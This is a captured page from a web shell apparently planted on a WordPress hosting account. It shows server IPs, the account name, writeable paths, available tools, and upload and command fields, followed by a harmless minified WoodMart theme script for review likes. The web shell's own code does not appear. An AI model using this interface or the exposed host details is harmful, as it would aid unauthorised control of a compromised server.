403Webshell
Server IP : 162.0.217.223  /  Your IP : 216.73.216.168
Web Server : LiteSpeed
System : Linux premium269.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : mypckeys ( 1539)
PHP Version : 8.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/mypckeys/yeslicense.org/wp-content/themes/woodmart/js/scripts/wc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/mypckeys/yeslicense.org/wp-content/themes/woodmart/js/scripts/wc/productReviewsLikes.min.js
!function(o){woodmartThemeModule.singleProdReviewsLike=function(){o("#reviews").on("click",".wd-review-likes .wd-like, .wd-review-likes .wd-dislike",function(d){if(d.preventDefault(),o("body").hasClass("logged-in")){let e,i=o(this),s=i.closest(".wd-review-likes");d=i.closest(".comment_container").attr("id"),d=parseInt(d.substring(d.indexOf("-")+1));i.hasClass("wd-active")||(i.siblings().removeClass("wd-active"),i.addClass("wd-active"),i.hasClass("wd-like")?e="like":i.hasClass("wd-dislike")&&(e="dislike"),o.ajax({url:woodmart_settings.ajaxurl,method:"POST",data:{action:"woodmart_comments_likes",comment_id:d,vote:e},beforeSend:function(){s.addClass("wd-adding")},complete:function(){s.removeClass("wd-adding")},success:function(e){var s=i.closest(".wd-review-likes");e.hasOwnProperty("likes")&&s.find(".wd-like span").text(e.likes),e.hasOwnProperty("dislikes")&&s.find(".wd-dislike span").text(e.dislikes)},error:function(e){console.error(e)}}))}})},o(document).ready(function(){woodmartThemeModule.singleProdReviewsLike()})}(jQuery);

Youez - 2016 - github.com/yon3zu
LinuXploit